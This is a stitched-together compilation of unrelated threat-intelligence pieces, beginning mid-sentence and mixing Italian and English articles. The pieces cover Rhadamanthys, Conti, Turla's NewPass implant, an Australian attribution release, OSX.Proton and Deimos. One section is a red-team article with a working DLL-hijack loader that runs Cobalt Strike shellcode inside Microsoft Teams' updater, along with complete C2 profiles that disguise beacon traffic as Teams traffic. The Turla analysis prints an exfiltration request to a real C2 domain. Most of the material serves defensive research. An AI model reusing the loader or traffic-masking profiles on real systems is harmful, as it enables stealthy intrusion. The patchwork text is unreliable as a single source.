key combinations. The malware monitors active windows by polling the GetForegroundWindow API and recording titles and process IDs through GetWindowTextW and GetWindowThreadProcessId. The keylogger also monitors the clipboard, exhibiting an intent to capture sensitive data often copied by users. The code explicitly uses a combination of `IsClipboardFormatAvailable`, `OpenClipboard`, `GetClipboardData`, and `GlobalLock` to detect when text content is copied, access the clipboard data, and read it. ### Data Spy The purpose of the data spy plug-in is to steal login information. As of now, it targets remote desktop protocol (RDP) credentials. Given the focus on remote access tools, future extension developments would likely include stealing credentials for Citrix Virtual Apps and Desktops or virtual private network (VPN) solutions. ### Clipper Clipper is a cryptocurrency clipper malware designed to hijack clipboard operations and steal funds by replacing copied wallet addresses with those controlled by the attacker. The clipper demonstrates capabilities in identifying cryptocurrency addresses using a multi-faceted approach. ### Reverse Proxy The reverse proxy looks for the –server value in the config.dat containing the reverse proxy server to connect to and routes traffic to that address. ### Mitigations By setting the known Rhadamanthys mutexes on a non-infected machine, a killswitch/vaccine to prevent Rhadamanthys from running its stealers and extensions can be created. Additionally, general hardening and logging techniques should be implemented to detect and mitigate attack methods commonly associated with stealer activity. Examples of these mitigations are listed below: - **User Training**: Train employees on how to spot phishing emails and other common initial access methods used by threat actors to deliver stealer malware. - **Multi-Factor Authentication (MFA)**: Use MFA for credentials to make using them more difficult for threat actors. - **Least Privilege Access**: Follow the principle of least privilege by granting users and devices only the minimum level of access needed for their job functions. - **Security Information and Event Management (SIEM)**: Implement SIEM solutions to centralize log security incidents across the network. - **Endpoint Detection and Response (EDR)**: Deploy EDR solutions on endpoints to monitor suspicious behavior commonly associated with stealer malware. - **Recorded Future Hunting Packages**: Implement YARA, Sigma, and SNORT rules like the ones in Recorded Future Hunting Packages. - **Credential Leaks**: Look for or create Recorded Future alerts for your credentials in dumps and criminal sale sources. ### Outlook Rhadamanthys has a rapid development cycle and is consistently evolving, with new versions being worked on even as the previous ones are released. This dynamic nature is evident when work on version 0.8.0 began after version 0.7.0 was released. Each version introduces significant enhancements in functionality, security, and evasion techniques. With the addition of AI features in 0.7.0 enhancing image detection capabilities, more advanced AI functionalities will probably be present in future releases. While the detections and killswitch discussed in this report will prove valuable overall, the malware's consistent introduction of new features and evasion techniques will soon render the detections useless, continuing the difficult nature of detection engineering. Rhadamanthys's global reach includes multiple campaigns targeting regions from North America to Europe and beyond. It is a popular tool in cybercriminal circles, supported by its versatile attack vectors and flexible plug-in system, making it a significant player in the underground malware market. Given this widespread adoption and continuous development, its influence will likely persist globally.
# Il ransomware Conti si schiera a favore della Russia nella cyberwar La famigerata cyber-gang Conti ha pubblicato un annuncio sul suo data-leak-site (DLS) che riporta la vicinanza e il sostegno al governo Russo, riportando quanto segue: “Il Conti Team annuncia ufficialmente il pieno sostegno del governo russo. Se qualcuno deciderà di organizzare un attacco informatico o qualsiasi attività bellica contro la Russia, utilizzeremo tutte le nostre risorse possibili per contrattaccare le infrastrutture critiche di un nemico.” Negli ultimi periodi, soprattutto quando erano iniziate le consultazioni tra Biden e Putin e dopo gli arresti dei criminali di REvil, le cybergang da profitto come Conti e LockBit 2.0 avevano iniziato ad avere timore di possibili arresti, pensando anche a una mancata protezione da parte del governo russo schierato con gli Stati Uniti, il quale storicamente è sempre stato vicino ai criminali informatici con un patto mai scritto ma vero nella sostanza. Abbiamo in precedenza molto parlato del legame tra le intelligence Russe e i gruppi hacker underground, riportando che molti hacker assoldati dal Cremlino provengono da questi vivai di hacker nationalstate e hacker da profitto. Poche ore dopo la prima pubblicazione, il collettivo Conti aggiorna il post riportando quanto segue: “In risposta ai guerrafondai occidentali e alle minacce americane di utilizzare la guerra informatica contro i cittadini della Federazione Russa, il Conti Team annuncia ufficialmente che utilizzeremo la nostra piena capacità per fornire misure di ritorsione nel caso in cui i guerrafondai occidentali tentino di prendere di mira infrastrutture critiche in Russia o qualsiasi regione del mondo di lingua russa. Non ci alleiamo con nessun governo e condanniamo la guerra in corso. Tuttavia, poiché è noto che l’Occidente conduce le sue guerre principalmente prendendo di mira i civili, utilizzeremo le nostre risorse per contrattaccare se il benessere e la sicurezza dei cittadini pacifici saranno in gioco a causa dell’aggressione informatica americana.” Sicuramente ora il livello di allerta relativamente alla minaccia cyber è massimo, pertanto tutte le aziende dovrebbero proteggersi qualora non lo abbiano fatto, per evitare di rimanere vittime di rappresaglie nei confronti dell’Italia che apertamente si è schierata contro la Russia. La cyber war ora entra nel vivo. La cyber war è una guerra che non ha un confine geografico. ## Come proteggersi dal ransomware Le infezioni da ransomware possono essere devastanti per un’organizzazione e il ripristino dei dati può essere un processo difficile e laborioso che richiede operatori altamente specializzati per un recupero affidabile. Anche in assenza di un backup dei dati, molte volte il ripristino è stato impossibile. Si consiglia agli utenti e agli amministratori di adottare delle misure di sicurezza preventive per proteggere le proprie reti dalle infezioni da ransomware: - Utilizzare un piano di backup e ripristino dei dati per tutte le informazioni critiche. - Eseguire e testare backup regolari per limitare l’impatto della perdita di dati o del sistema e per accelerare il processo di ripristino. I backup critici devono essere isolati dalla rete per una protezione ottimale. - Mantenere il sistema operativo e tutto il software sempre aggiornato con le patch più recenti. Le applicazioni e i sistemi operativi vulnerabili sono l’obiettivo della maggior parte degli attacchi. - Mantenere aggiornato il software antivirus ed eseguire la scansione di tutto il software scaricato da Internet prima dell’esecuzione. - Limitare la capacità degli utenti (autorizzazioni) di installare ed eseguire applicazioni software indesiderate e applicare il principio del “privilegio minimo” a tutti i sistemi e servizi. - Evitare di abilitare le macro dagli allegati di posta elettronica. Se un utente apre l’allegato e abilita le macro, il codice incorporato eseguirà il malware sul computer. - Non seguire i collegamenti Web non richiesti nelle e-mail. - Esporre le connessioni Remote Desktop Protocol (RDP) mai direttamente su internet. Qualora si abbia necessità di un accesso da internet, il tutto deve essere mediato da una VPN. - Implementare sistemi di Intrusion Prevention System (IPS) e Web Application Firewall (WAF) come protezione perimetrale a ridosso dei servizi esposti su internet. Sia gli individui che le organizzazioni sono scoraggiati dal pagare il riscatto, in quanto anche dopo il pagamento le cyber gang possono non rilasciare la chiave di decrittazione oppure le operazioni di ripristino possono subire degli errori e delle inconsistenze. La sicurezza informatica è una cosa seria e oggi può minare profondamente il business di una azienda. Oggi occorre cambiare mentalità e pensare alla cybersecurity come una parte integrante del business e non pensarci solo dopo che è avvenuto un incidente di sicurezza informatica.
# Turla / Venomous Bear updates its arsenal: “NewPass” appears on the APT threat scene Recently Telsy observed some artifacts related to an attack that occurred in June 2020 that is most likely linked to the popular Russian Advanced Persistent Threat (APT) known as Venomous Bear (aka Turla or Uroburos). At the best of our knowledge, this time the hacking group used a previously unseen implant, that we internally named “NewPass“ as one of the parameters used to send exfiltrated data to the command and control. Telsy suspects this implant has been used to target at least one European Union country in the sector of diplomacy and foreign affairs. NewPass is quite a complex malware composed of different components that rely on an encoded file to pass information and configuration between each other. There are at least three components of the malware: a dropper, that deploys the binary file; a loader library, that is able to decode the binary file extracting the last component, responsible for performing specific operations, such as communicating with the attackers’ command and control server (the “agent”). The loader and the agent share a JSON configuration resident in memory that demonstrates the potential of the malware and the ease with which the attackers can customize the implant by simply changing the configuration entries’ values. ## Dropper Analysis The first Windows library has a huge size, about 2.6 MB, and it is identified by the following hash: - **Type**: SHA256 **Value**: e1741e02d9387542cc809f747c78d5a352e7682a9b83cbe210c09e2241af6078 Exploring the artifact using a static approach, it is possible to note that it exports a high number of functions. Most of the reported functions point to useless code and only LocalDataVer can be used as an entry point of the DLL, therefore making it useful to understand the malicious behavior. Attackers used this trick likely to avoid sandbox analysis, as well as make manual analysis slightly harder. Sandbox solutions, in fact, probably will try to execute a DLL file using rundll32.exe or regsvr32.exe utilities, using “DllMain” or “DllRegisterServer” as an entrypoint function. In this case, both these functions cause the termination of the program, without showing the real malware behavior. The library’s aim is to deploy the backdoor and its configuration file under two different folders depending on the attacker’s customization. ### Configuration Path and Backdoor Path - **Configuration Path**: ProgramData\Adobe\ARM\Reader_20.021.210_47.dat - **Backdoor Path**: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\lib3DXquery.dll - **Configuration Path**: ProgramData\WindowsHolographic\SpatialStore\HolographicSpatialStore.swid - **Backdoor Path**: WindowsHolographicService.dll For the second sample, we weren’t able to retrieve its dropper. Therefore, it is possible to obtain the location of the configuration file from which the backdoor tried to load the parameters, but not the exact location in which the dropper deployed the implant artifact. Furthermore, the used paths are very stealthy and it is easy to confuse the artifacts as components of legitimate programs, such as Adobe Reader or Windows Mixed Reality. In particular, the path of the first sample is the same used by the legitimate Adobe Reader installation and therefore the lib3DXquery.dll file matches up perfectly with the other Adobe components, making it almost totally invisible. The configuration file written, at first glance, seems to be totally encrypted and incomprehensible without analyzing the next stage. ## Loader Analysis The retrieved backdoor implants are identified by the following hashes: - **Name**: lib3DXquery.dll **SHA256**: 6e730ea7b38ea80f2e852781f0a96e0bb16ebed8793a5ea4902e94c594bb6ae0 - **Name**: WindowsHolographic-Service.dll **SHA256**: f966ef66d0510da597fec917451c891480a785097b167c6a7ea130cf1e8ff514 Once again, the libraries export several functions but only one is useful to execute their real payload. To begin, the library checks the presence of the associated configuration file; if it does not exist, the backdoor terminates its execution. Conversely, once found the file, the malware starts to decode and read the current configuration. The first 5 bytes of the file contain the size of the data to read starting from the 6th byte, which contains the first encoded information useful to allow the malware to load the entire configuration. All the data retrieved in this first phase is encoded using a simple XOR algorithm with a fixed key hardcoded at the beginning of the function. So, the malware reads the first 5 bytes and decodes it using the key, obtaining the number of bytes it has to read to obtain the initial configuration. In this specific case, from the decoded bytes it gets the value 00081. So, it proceeds to read the next 81 bytes. Decoding these last ones with the usual key, it obtains a string composed of different parameters separated by “||”. However, this is still not the final configuration used by the malware, but it contains only the parameters to load the last malicious Windows library, named LastJournalx32.adf, containing the final agent. This payload is hidden into the configuration file after a section of random bytes used by the attackers to change the hash value of the file at every infection. During its activity, the loader decrypts and maintains in memory the complete configuration used during the infection chain. It consists of different JSON formatted structures. ```json { "RefreshToken": "", "NoInternetSleepTime": "3600", "GetMaxSize": "60000", "ClientId": "", "DropperExportFunctionName": "LocalDataVer", "Autorun": "16", "ImgurImageDeletionTime": "120", "RecoveryServers": [], "RunDllPath": "%Win-Dir%\\System32", "AgentLoaderExportFunctionName": "LocalDataVer", "Key": "[…redacted…]", "AgentName": "LastJournalx32.adf", "UserAgent": "", "…truncated…" } ``` The structure contains all the information necessary for the loader to correctly launch the final agent. Some of this information are AgentFileSystemName, AgentExportName, and AgentName. The agent shares the same memory space as the loader, thus it is able to access the same configuration and extract the needed parameters, such as the object named Credentials. It also contains the domain name (newshealthsport[.]com) and the path (/sport/latest.php) of the command-and-control with which the agent will communicate. From the configuration, it is also possible to notice the version number of the malware, specifically it is 19.03.28 for the AgentLoader and 19.7.16 for the Agent. Moreover, the agent is identified by an ID addressed by the AgentID entry that is used during the communication with the C2 as an identifier of the infected machine. The configuration also embeds a specific structure for persistence mechanisms. ```json { "Autoruns": { "Service": { "DisplayName": "Adobe Update Module", "ServiceName": "Adobe Update Module", "Enabled": "true" }, "TaskScheduler": { "Enabled": "false" }, "Registry": { "Enabled": "false" }, "Policies": { "Enabled": "false" } } } ``` The implant supports different types of persistence mechanisms: through Service Manager, Task Scheduler, via Registry Key, or using Windows GPO. In this specific case, attackers enabled the Service method that allows the malware to interact with the SCManager to create a new service named Adobe Update Module pointing to the path of the loader. ## Agent Analysis The last payload is identified by the following hash: - **Type**: SHA256 **Value**: 08a1c5b9b558fb8e8201b5d3b998d888dd6d-f37dbf450ce0284d510a7104ad7f It is responsible for exfiltrating information from the infected machine, sending it to the command-and-control and downloading new commands to be executed. To make the communication with the C2 stealthier, the agent uses a set of keywords to separate the data within a POST request. The keywords are specified by attackers during the development phase. In the analyzed case, they are the following: - dbnew - contentname - newpass - passdb - data_src - server_login - table_data - token_name - server_page - targetlogin So, during the exfiltration phase, the HTTP requests appear as follows: ``` POST /sport/latest.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: newshealthsport.com Content-Length: 170 Connection: Keep-Alive newpass=[redacted]&server_page=[redacted]&passdb=[redacted]&targetlogin=t&table_data=[redacted] ``` All the values embedded into the request are encrypted, probably using one of the keys embedded into the previous configuration. The algorithm used during the encryption phase is most probably a custom one. Below, we report a simple scheme of the described infection chain, highlighting the three components of this new threat: the dropper, the loader, and the agent. ## Persistence As mentioned above, the malware is able to create services or tasks or to add registry keys to achieve persistence. In the analyzed case, the loader component is set to create a new Windows service, specifying its path location as ImagePath. ## ATT&CK Matrix | Technique | Tactic | Description | |-----------|--------|-------------| | T1204 | Execution | Threat actor relies upon specific actions by a user in order to gain execution | | T1060 | Persistence | Threat actor adds an entry to the “run keys” in the Registry or startup folder to allow the program to be executed when a user logs in | | T1053 | Persistence | Threat actor uses Windows Task Scheduler to schedule programs or scripts to be executed at a date and time | | T1543 | Persistence | Adversaries create or modify Windows services to repeatedly execute malicious payloads as part of persistence | | T1073 | Defense Evasion | Programs specify DLLs that are loaded at runtime | | T1132 | Command and Control | Command and control (C2) information is encoded using a standard data encoding system | | T1001 | Command and Control | Command and control (C2) communications are hidden in an attempt to make the content more difficult to discover or decipher | | T1041 | Exfiltration | Threat actor relies on command and control infrastructure to exfiltrate data | ## Indicators of Compromise - **Type**: SHA256 **Value**: e1741e02d9387542cc809f747c78d5a352e7682a9b83cbe210c09e2241af6078 - **Type**: SHA256 **Value**: 6e730ea7b38ea80f2e852781f0a96e0bb16ebed8793a5ea4902e94c594bb6ae0 - **Type**: SHA256 **Value**: 08a1c5b9b558fb8e8201b5d3b998d888dd6d-f37dbf450ce0284d510a7104ad7f - **Type**: SHA256 **Value**: f966ef66d0510da597fec917451c891480a785097b167c6a7ea130cf1e8ff514 - **Domain**: newshealthsport.com - **URL**: http://newshealthsport.com/sport/latest.php
# Australia joins international partners in attribution of malicious cyber activity to China **Joint media release with:** - The Hon Karen Andrews MP, Minister for Home Affairs - The Hon Peter Dutton MP, Minister for Defence **19 July 2021** Today, the Australian Government joins international partners in expressing serious concerns about malicious cyber activities by China's Ministry of State Security. In consultation with our partners, the Australian Government has determined that China's Ministry of State Security exploited vulnerabilities in the Microsoft Exchange software to affect thousands of computers and networks worldwide, including in Australia. These actions have undermined international stability and security by opening the door to a range of other actors, including cybercriminals, who continue to exploit this vulnerability for illicit gain. The Australian Government is also seriously concerned about reports from our international partners that China's Ministry of State Security is engaging contract hackers who have carried out cyber-enabled intellectual property theft for personal gain and to provide commercial advantage to the Chinese Government. Australia calls on all countries – including China – to act responsibly in cyberspace. China must adhere to the commitments it has made in the G20, and bilaterally, to refrain from cyber-enabled theft of intellectual property, trade secrets and confidential business information with the intent of obtaining competitive advantage. Since 2017, Australia has publicly attributed malicious cyber activity to North Korea, Russia, China and Iran. Most recently, Australia joined more than 30 international partners to hold Russia to account for its harmful cyber campaign against SolarWinds. Australia calls out these malicious activities to highlight the significant risk they can pose to Australia's national security or to international stability, which in turn can undermine business confidence and inclusive economic growth. Australia's cyber security posture is strong, but there is no room for complacency given the online threat environment is constantly evolving. Protecting Australia from malicious cyber activity – be it by state actors or cybercriminals – requires a continuous improvement approach to cyber security practices across all levels of society including government, business and households. The Australian Government will continue to work with international partners and the private sector to strengthen cyber security, including through the implementation of Australia's Cyber Security Strategy 2020 and Australia's International Cyber and Critical Technology Engagement Strategy. All Australians are encouraged to visit cyber.gov.au for advice on how to protect themselves online.
# Android Malware: Phishing Attack at Raiffeisen Bank by MazarBot Sorry for the inconvenience…
# Leveraging Microsoft Teams to Persist and Cover Up Cobalt Strike Traffic **May 14, 2021 - Pablo Ambite** ## Introduction During a recent Red Team scenario, local admin privileges were obtained on a workstation where an EDR solution was identified. The next step was to infect and persist on the compromised system to secure remote access. After exploring several options, a Microsoft Teams binary was identified as vulnerable to DLL Hijacking. This article explains how to take advantage of this situation, using a Cobalt Strike payload embedded in a DLL, and how to mimic legitimate Microsoft Teams traffic when communicating with the C&C using Cobalt Strike malleable C2 profiles. ## Cobalt Strike Persistence via DLL Hijacking To ease the process, the Red Team prepared a local environment as close as possible to the original for appropriate tests. Process Monitor was used to identify processes trying to load non-existent DLLs with the following filters: | Column | Relation | Value | Action | |--------|----------|-------|--------| | Result | is | NAME NOT FOUND | Include | | Path | ends with | .dll | Include | The process `Update.exe` (32 bits) was spotted trying to load `CRYPTSP.dll` from the executable directory, failing to do so as this library is located in `C:\Windows\SysWOW64`. This means that if a malicious DLL is placed in the same directory as the binary, the next time `Update.exe` is started, the process will load this library first and make use of some exported functions. This executable was an ideal candidate for the operation for different reasons: - It is an app update manager (Squirrel), present in multiple product installations (Teams, Slack, Discord, Webex). In this case, it is part of Microsoft Teams, so it is signed by Microsoft. - It is executed every time the user opens the application. - The default installation sets a Run key in the Windows registry so that the application is automatically launched every time the user logs in. - It is expected to make regular HTTP connections to the Internet, providing a way to camouflage the communications with a C&C. ## Vulnerable Binary Detection After the target has been selected, the Red Team needs to implement a DLL that executes malicious code (in this case, a Cobalt Strike payload). The binary was debugged by placing breakpoints on all imported functions to check which of them was being invoked first at `CRYPTSP.dll`. ### CryptAcquireContextW() Breakpoint This showed that `CryptAcquireContextW()` is the first function being called by `Update.exe`, so the Red Team developed a library that exports this function with a customized loader that recovers and executes the raw Cobalt Strike payload (shellcode) from disk. A more transparent alternative would be to create a wrapper using DLL Proxying techniques. ```c extern "C" { void __declspec(dllexport) CryptAcquireContextW() { char payload[PSIZE]; // Mutex management HANDLE hMutex = CreateMutex(NULL, FALSE, TEXT("WindowsProc")); if (hMutex != NULL) if (GetLastError() == ERROR_ALREADY_EXISTS) ExitProcess(1); // Garbage math operations stale(); // Recover payload from file if(decrypt_shellcode_from_file(payload, PAYLOAD_PATH) == SUCCESS){ // Launch Teams.exe execute_Teams(); // Shellcode execution HANDLE hFileMap = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(payload), NULL); LPVOID lpMapAddress = MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, sizeof(payload)); memcpy((PVOID)lpMapAddress, payload, sizeof(payload)); __asm { mov eax, lpMapAddress push eax; ret } } ReleaseMutex(hMutex); CloseHandle(hMutex); } } ``` In this case, the exported function performs the following actions: 1. Use of Mutex to halt execution if the payload is already executed. 2. `stale()` function call to evade some Machine Learning and Sandboxing checks. 3. Shellcode retrieval and decryption from disk. 4. `Teams.exe` execution to mimic `Update.exe` legitimate behavior. 5. Shellcode execution via `CreateFileMapping + MapViewOfFile + memcpy` technique. ## Hiding Communications with the C&C Due to the restrictions of the environment, where Internet connectivity was only allowed to Microsoft domains, Domain Fronting was used alongside customized Cobalt Strike profiles. These settings provide a flexible way of building the HTTP requests and responses to communicate with the C&C. The Red Team used this functionality to hide the agent’s communication, mimicking the HTTP traffic issued by Microsoft Teams. A staged payload was used, which is divided into two parts: the stager and the stage. The first, smaller one, is responsible for obtaining the second C&C stage: a DLL containing all the agent’s logic (a beacon in Cobalt Strike terms) that is going to be reflectively loaded into memory. By using this type of payload, the communication flows with the C&C could be categorized into three types: 1. Initial request to get the Cobalt DLL. 2. Implant request to obtain tasks. 3. Implant request to send task results. ### Stager: Obtaining the Cobalt Strike Beacon The `http-stager` section defines how to retrieve the beacon, where the stager request simulates an image download, making use of Microsoft Teams’ own HTTP headers. The response appears to be a legitimate picture but contains the beacon DLL. Well-formed JPEG header and trailing bytes are used. ```plaintext http-stager { set uri_x86 "/v1/objects/0-neu-d10-ccab474e582c03325f9f07ba8a3aae8a/views/imgo"; set uri_x64 "/v1/objects/0-neu-d10-cdab424e592c03253f9f07ba8d9aae8a/views/imgo"; client { header "Host" "<Endpoint Azure>"; header "x-mx-client-version" "27/1.0.0.2021020410"; header "Origin" "https://teams.microsoft"; parameter "v" "1"; } server { header "Server" "Microsoft-IIS/10.0"; header "strict-transport-security" "max-age=31536000; includeSubDomains"; header "X-Powered-By" "ARR/3.0"; header "X-Content-Type-Options" "nosniff"; header "x-ms-environment" "North Europe-prod-3,_cnsVMSS-6_26"; header "x-ms-latency" "40018.2038"; header "Timing-Allow-Origin" "https://teams.microsoft.com"; header "Access-Control-Allow-Origin" "https://teams.microsoft.com"; header "Access-Control-Allow-Credentials" "true"; header "Connection" "close"; header "Content-Type" "image/jpeg"; output { prepend "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xFF"; append "\xF9\x7C\xF3\x4E\x3F\xEC\x7F\x82\x8C\xA4\xB5\x5B\x3E\x64\x11\xE7\xEA\x78\x70\xCD\x6B"; print; } } } ``` This way, tools like Wireshark will identify the content of the HTTP response as a JPEG image. ### Beacon: Obtaining Tasks The following part of the profile defines the format of periodic requests in which the Cobalt Strike agent asks for new tasks to be executed. These requests use the `events` GET parameter to send base64-encoded session information. The information encoded by the server is embedded into responses that appear to be legitimate. ```plaintext http-get { set uri "/Collector/2.0/settings/"; client { header "Accept" "json"; header "Host" "<Endpoint Azure>"; header "Referer" "https://teams.microsoft.com/_"; header "x-ms-session-id" "f73c3186-057a-d996-3b63-b6e5de6ef20c"; header "x-ms-client-type" "desktop"; header "x-mx-client-version" "27/1.0.0.2021020410"; header "Accept-Encoding" "gzip, deflate, br"; header "Origin" "https://teams.microsoft.com"; parameter "qsp" "true"; parameter "client-id" "NO_AUTH"; parameter "sdk-version" "ACT-Web-JS-2.5.0&"; metadata { base64url; parameter "events"; } } server { header "Content-Type" "application/json; charset=utf-8"; header "Server" "Microsoft-HTTPAPI/2.0"; header "X-Content-Type-Options" "nosniff"; header "x-ms-environment" "North Europe-prod-3,_cnsVMSS-6_26"; header "x-ms-latency" "40018.2038"; header "Access-Control-Allow-Origin" "https://teams.microsoft.com"; header "Access-Control-Allow-Credentials" "true"; header "Connection" "keep-alive"; output { netbios; prepend "{\"next\":\"https://westeurope-prod-3.notifications.teams.microsoft.com/users/8:orgid:a17481c3-f754-4d06-9730-4eb0be94afc3/endpoints/"; append "/events/poll?cursor=1613554385&epfs=srt&sca=4}"; print; } } } ``` ### Beacon: Sending Results Finally, the `http-post` block specifies the format of the result requests sent from the agent to the C&C. The output is inside the Authentication HTTP header, pretending to be a JWT authentication token. ```plaintext http-post { set verb "GET"; set uri "/users/8:orgid:b1a28-a1c3-3d54-4eb01adb1/endpoints/events/poll"; client { header "Accept" "json"; header "Host" "<Endpoint Azure>"; header "Referer" "https://teams.microsoft.com/_"; header "x-ms-query-params" "cursor=1613554385&epfs=srt&sca=5&activeTimeout=135"; header "x-ms-client-type" "desktop"; header "x-mx-client-version" "27/1.0.0.2021020410"; header "Accept-Encoding" "gzip, deflate, br"; header "Origin" "https://teams.microsoft"; output { base64; prepend "skypetoken=eyJhbGciOi"; header "Authentication"; } id { netbios; prepend "f73c3186-057a-d996-3b63-"; header "x-ms-session-id"; } } server { header "Content-Type" "application/json; charset=utf-8"; header "Server" "Microsoft-HTTPAPI/2.0"; header "X-Content-Type-Options" "nosniff"; header "x-ms-environment" "North Europe-prod-3,_cnsVMSS-6_26"; header "x-ms-latency" "40018.2038"; header "Access-Control-Allow-Origin" "https://teams.microsoft.com"; header "Access-Control-Allow-Credentials" "true"; header "Connection" "keep-alive"; output { netbios; prepend "{\"next\":\"https://westeurope-prod-3.notifications.teams.microsoft.com/users/8:orgid:a17481c3-f754-4d06-9730-4eb0be94afc3/endpoints/"; append "/events/poll?cursor=1613554385&epfs=srt&sca=4}"; print; } } } ``` ## Conclusion This article shows how an attacker could take advantage of DLL Hijacking vulnerabilities in services to execute malicious code through signed binaries, mimicking the traffic of the corresponding legitimate application to minimize the chances of being detected. This technique can also be useful in social engineering exercises, where deploying the malicious DLL through Microsoft Office macros in any application directory that uses this app update manager would be sufficient, without needing to directly inject or execute any payload.
# OSX.Proton Spreading Through Fake Symantec Blog Thomas Reed November 20, 2017 Sunday night, a series of tweets from security researcher @noarfromspace revealed a new variant of the OSX.Proton malware, spreading in a concerning new method—spoofing security company Symantec’s blog. ## Method of Infection The malware is being promoted via a fake Symantec blog site at symantecblog[dot]com. The site is a good imitation of the real Symantec blog, even mirroring the same content. The registration information for the domain appears, on first glance, to be legitimate, using the same name and address as the legitimate Symantec site. The email address used to register the domain is a dead giveaway. Even more suspicious is the certificate used by the site. It is a legitimate SSL certificate, but was issued by Comodo rather than Symantec’s own certificate authority. The fake site contains a blog post about a supposed new version of CoinThief, a piece of malware from 2014. The fake post claims that a new variant of CoinThief has been spotted. In fact, as far as I’ve been able to determine, this is a made-up story, and no such new variant of CoinThief actually exists. The fake post promotes a program called “Symantec Malware Detector,” supposedly to detect and remove the malware. No such program actually exists. Unfortunately, links to the fake post have been spreading on Twitter. Some of the accounts tweeting the link appear to be fake accounts, but others seem to be legitimate. Given the fact that the primary goal of the Proton malware is to steal passwords, these could be hacked accounts whose passwords were compromised in a previous Proton outbreak. However, they could also simply be the result of people being tricked into thinking the fake blog post is real. Users who download and run the “Symantec Malware Detector” will instead be infected with malware. ## Malware Behavior When run, the malicious Symantec Malware Detector application displays a very simple window, using the Symantec logo. If the user quits the application at this point, the malware does not actually get installed. However, let’s be honest—if you’ve been tricked into downloading and opening this application, you probably won’t bail out at this point. Clicking the “Check” button results in a request for an admin password. The average Mac user has seen these kinds of password requests many times before, so again, this is unlikely to raise suspicions among users who have gotten this far. In reality, this is a very well-done fake and will give the malware your password. (Unlike the legitimate password request this is designed to imitate, which does not give the requesting software the user’s password.) If an admin password is provided, the application displays a progress bar claiming to be scanning the computer. In reality, however, the application has installed the Proton malware. The malware will begin capturing information, including logging the user’s admin password in clear text, among a lot of other personally-identifying information (PII) to a hidden file: ``` <metadata> <date>2017-11-19T20:29:19.801Z</date> <serial>*********</serial> <username>test</username> <fullname>test</fullname> <hostname>test%E2%80%99s Mac</hostname> <password>testpw</password> <os_version>10.12.6</os_version> <os_locale>en_US</os_locale> </metadata> ``` The malware also captures and exfiltrates things like keychain files, browser auto-fill data, 1Password vaults, and GPG passwords. Since the malware has phished the user’s password, the hackers will be able to decrypt the keychain files at a minimum. ## Indicators of Compromise The Symantec Malware Detector application is, as far as I’m able to determine, a completely made-up name. If you see such an application—perhaps in the Downloads folder, or perhaps in the Applications folder, depending on where the user puts it—it should be deleted. If you are unsure of whether the application is actually malicious, you can check the code signature. Enter the following command in the Terminal, substituting the actual path: ``` codesign -dvvv "path/to/Symantec Malware Detector.app" ``` The malicious application has been signed by someone named Sverre Huseby, using a certificate with a team identifier of E224M7K47W. Anything signed with this certificate should be considered malicious. Once this malicious “dropper” application has been run, the following paths will be found on the system: - /Library/LaunchAgents/com.apple.xpcd.plist - /Library/.cachedir/ - /Library/.random/ The .random directory holds the malicious Proton executable, which is kept running by the com.apple.xpcd.plist launch agent. The .cachedir folder contains data that has been or will be exfiltrated. In addition to these files, the /private/etc/sudoers file will have been modified. The following line will have been added to the end: ``` Defaults !tty_tickets ``` That line should be removed from the sudoers file. Fortunately, Apple is aware of this malware and has revoked the certificate used to sign the malware. This will prevent future infections by the Symantec Malware Detector. Revoking the certificate will not, by itself, do anything to protect a machine that is already infected. ## Implications Malwarebytes for Mac will detect and remove Proton infections for free. If you find your Mac to be infected, it’s quite easy to remove the malware. However, removing the malware is only a part of the solution. Since Proton is designed to steal login credentials, you will need to take some emergency actions post-infection. You should treat all online passwords as compromised and change them all. Be sure, while you’re at it, to use different passwords on every site, and use a password manager (such as 1Password or LastPass) to keep track of them. Since 1Password vaults are a target of Proton, be sure that you don’t store your password manager’s master password in your keychain or anywhere else on the computer. That should be the one and only password that you memorize, and it should be strong. You should also enable two-factor authentication on every account that will allow you to do so. That will minimize the impact of such breaches in the future by ensuring that a hacker will need more than just your password to access your accounts. In addition to passwords, you should consider any other information that may have been part of the compromise. For example, if you store credit card numbers or other sensitive data in the keychain, it should be treated as compromised and you should respond accordingly. As always, if the machine that was compromised was issued to you by your employer, or has company data on it, you should notify IT immediately. Failure to do so could lead to a very serious breach of your company’s systems. ## Conclusion Proton has been circulating for quite some time after its initial appearance in March. It has previously been distributed via a compromise of the Handbrake application and a similar compromise of a couple Eltima Software applications. It is highly likely that Proton will continue to circulate, and similar incidents will continue to occur. Proton illustrates an increasing problem in the Mac community. The prevailing attitude that you can avoid Mac malware if you’re careful enough is failing in the face of supply chain attacks, such as the hacks of the Handbrake and Eltima Software systems. Further, so-called “fake news” being used to distribute malware is a highly dangerous threat. Many people these days are looking to download malware removal software for the Mac, due to the increasing prevalence of annoying Mac adware. Unfortunately, it is often the case that such software will be downloaded after a search that gives questionable results, or after seeing a recommendation from a hacked or fake account on social media or forums. Macs are the targets of an increasing amount of malware. They can no longer be assumed to be safe. The old advice that “Macs don’t get viruses,” which can still be found echoing in many Mac-centric forums, has never been true, and this is becoming increasingly obvious to those following such events. Do not fall victim due to a false sense of security caused by the fact that you have a Mac!
# Going Coast to Coast - Climbing the Pyramid with the Deimos Implant **By Elastic Security Intelligence & Analytics Team** **12 October 2021** The key takeaways of this analysis are as follows: - A remote access tool is actively being developed in campaigns beyond the initially reported Jupyter Infostealer, SolarMarker, and Yellow Cockatoo campaigns. - The malware employs multiple layers of complex obfuscation and encryption techniques. - The malware has incorporated convincing lure files and digitally signed installation executables. - The malware is part of intrusion sets that are used to establish an initial foothold and maintain persistence into contested environments. - A successful takedown was completed by the Elastic Security team for the observed C2 infrastructure. The Deimos implant is a new, complex form of malware first reported in 2020. This remote access tool is under active development, with the aim of evading detection by using multiple layers of complex obfuscation and encryption techniques. These advanced defensive countermeasures, which also include convincing lure files and digitally signed installation executables, can frustrate identification and analysis. However, the Elastic Security team recently completed a successful takedown of the observed command and control (C2) infrastructure, allowing us to provide detection rules and hunting techniques to aid in identifying 